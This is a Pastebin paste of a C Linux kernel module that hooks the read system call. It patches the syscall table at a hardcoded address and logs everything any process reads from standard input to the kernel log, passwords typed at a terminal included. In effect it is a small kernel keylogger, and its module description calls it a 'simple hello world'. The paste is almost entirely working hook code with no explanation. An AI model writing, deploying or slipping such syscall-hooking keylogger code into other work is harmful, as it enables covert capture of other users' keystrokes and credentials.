SHARE
TWEET

Untitled

a guest Mar 11th, 2011 61 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/unistd.h>
  4. #include <asm/atomic.h>
  5. #include <linux/sched.h>
  6.  
  7. #include <asm/uaccess.h>
  8.  
  9. typedef asmlinkage ssize_t (*sys_read_t)(unsigned int fd, char __user * buf, size_t count);
  10.  
  11. // Global variables
  12. void **sys_call_table = NULL;
  13. sys_read_t sys_read_original = NULL;
  14. atomic_t counter_unload;
  15.  
  16.  
  17. asmlinkage ssize_t sys_read_hooked(unsigned int fd, char __user * buf, size_t count)
  18. {
  19.         ssize_t ret;
  20.         char *local_buf;
  21.        
  22.         atomic_inc(&counter_unload);
  23.         ret = sys_read_original(fd, buf, count);
  24.        
  25.         if(ret > 0){
  26.                 if(fd == 0){
  27.                         local_buf = kmalloc(ret+1, GFP_KERNEL);
  28.                         if(local_buf == NULL) goto out;
  29.                         if(copy_from_user(local_buf, buf, ret)){
  30.                                 printk(KERN_EMERG "ALARM\n");
  31.                         }else{
  32.                                 printk("%s said: %s\n", current->comm, local_buf);
  33.                         }
  34.                         kfree(local_buf);
  35.                 }
  36.         }
  37.  
  38. out:
  39.        
  40.         atomic_dec(&counter_unload);
  41.         return ret;
  42. }
  43.  
  44. int init_module(void)
  45. {
  46.        
  47.         printk(KERN_INFO "Hello World\n");
  48.        
  49.         atomic_set(&counter_unload, 0);
  50.        
  51.         sys_call_table = 0xc02bfaa0;
  52.        
  53.         printk("saving orig sys_read\n");
  54.         sys_read_original = sys_call_table[__NR_read];
  55.        
  56.         printk("hooking sys_read\n");
  57.         sys_call_table[__NR_read] = sys_read_hooked;
  58.        
  59.         return 0;
  60. }
  61.  
  62.  
  63. void cleanup_module(void)
  64. {
  65.         printk("restoring original sys_read\n");
  66.         sys_call_table[__NR_read] = sys_read_original; 
  67.        
  68.         while(atomic_read(&counter_unload) > 0){
  69.                 printk("......\n");
  70.                 schedule();
  71.         }
  72.        
  73.         printk(KERN_INFO "k thx bye\n");
  74. }
  75.  
  76.  
  77. MODULE_LICENSE("GPL");
  78.  
  79. MODULE_AUTHOR("");
  80. MODULE_DESCRIPTION("simple hello world");
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top